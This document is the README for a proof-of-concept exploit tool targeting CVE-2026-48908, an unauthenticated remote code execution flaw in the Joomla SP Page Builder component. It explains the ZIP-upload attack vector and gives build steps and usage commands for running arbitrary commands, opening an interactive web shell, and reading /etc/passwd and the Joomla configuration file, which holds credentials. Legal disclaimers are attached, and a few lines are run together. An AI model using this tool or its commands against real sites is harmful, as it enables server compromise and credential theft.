CVE-2026-48908 - SP Page Builder Joomla Unauthenticated RCE
Proof of Concept exploit for CVE-2026-48908, an unauthenticated Remote Code Execution vulnerability in Joomla SP Page Builder component.
CVE-2026-48908 is a critical security vulnerability that allows unauthenticated attackers to execute arbitrary code on vulnerable Joomla installations through improper handling of ZIP file extraction in the SP Page Builder component.
index.php?option=com_sppagebuilder&task=asset.uploadCustomIconThe vulnerability exists in the asset upload functionality where the application improperly validates and extracts ZIP files containing icon assets. An attacker can craft a malicious ZIP file with PHP payloads that will be extracted to the web-accessible directory, allowing remote code execution.
golang.org/x/term - Terminal utilities for secure password inputgit clone https://github.com/gagaltotal/CVE-2026-48908-SP-Page-Builder-Joomla
cd CVE-2026-48908-SP-Page-Builder-Joomla
go mod init CVE-2026-48908-SP-Page-Builder-Joomla
go mod download
or
go mod tidy
go build -o poc_tot poc_tot.go
Compiled binaries are available in the releases section.


./poc_tot -target http://target-site.com -cmd "whoami"
./poc_tot -target http://target-site.com -shell
./poc_tot -target http://target-site.com -check
./poc_tot -target http://target-site.com -cleanup
./poc_tot -target http://target-site.com -cmd "id" -token "your_joomla_token"
-target string
Target URL of vulnerable Joomla installation (required)
Example: http://target.com or https://target.com
-cmd string
System command to execute on target
Example: "cat /etc/passwd"
-shell
Launch interactive shell on target (requires successful exploitation)
-check
Check if target is vulnerable without attempting exploitation
-cleanup
Remove uploaded shell and artifacts from target
-token string
CSRF token for exploitation (optional, auto-detected if not provided)
The tool supports multiple exploitation vectors:
./poc_tot -target http://vulnerable.local -check
./poc_tot -target http://vulnerable.local -cmd "ls -la /var/www/html"
./poc_tot -target http://vulnerable.local -cmd "cat configuration.php"
./poc_tot -target http://vulnerable.local -shell
# In shell:
> id
> whoami
> pwd
./poc_tot -target http://vulnerable.local -cleanup
If you are running Joomla with SP Page Builder component:
This software is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. The authors do not accept responsibility for misuse or damage caused by this tool. Users are responsible for ensuring they have proper authorization before using this tool on any target system.
By using this tool, you acknowledge that:
This tool is intended for defensive security research and authorized penetration testing only. Unauthorized access to computer systems violates the Computer Fraud and Abuse Act and similar laws in other jurisdictions. Always obtain proper authorization in writing before performing security testing.
index.php?option=com_installer&view=manageSecurity research contributions are welcome. Please:
GhostGTR666 (Gagaltotal666)
For issues, questions, or contributions:
This project is provided as-is for security research purposes. Review local laws regarding security tools and penetration testing before use.
Last Updated: 2026-06-24
Disclaimer: This tool is intended for authorized security testing only. Unauthorized access to computer systems is illegal.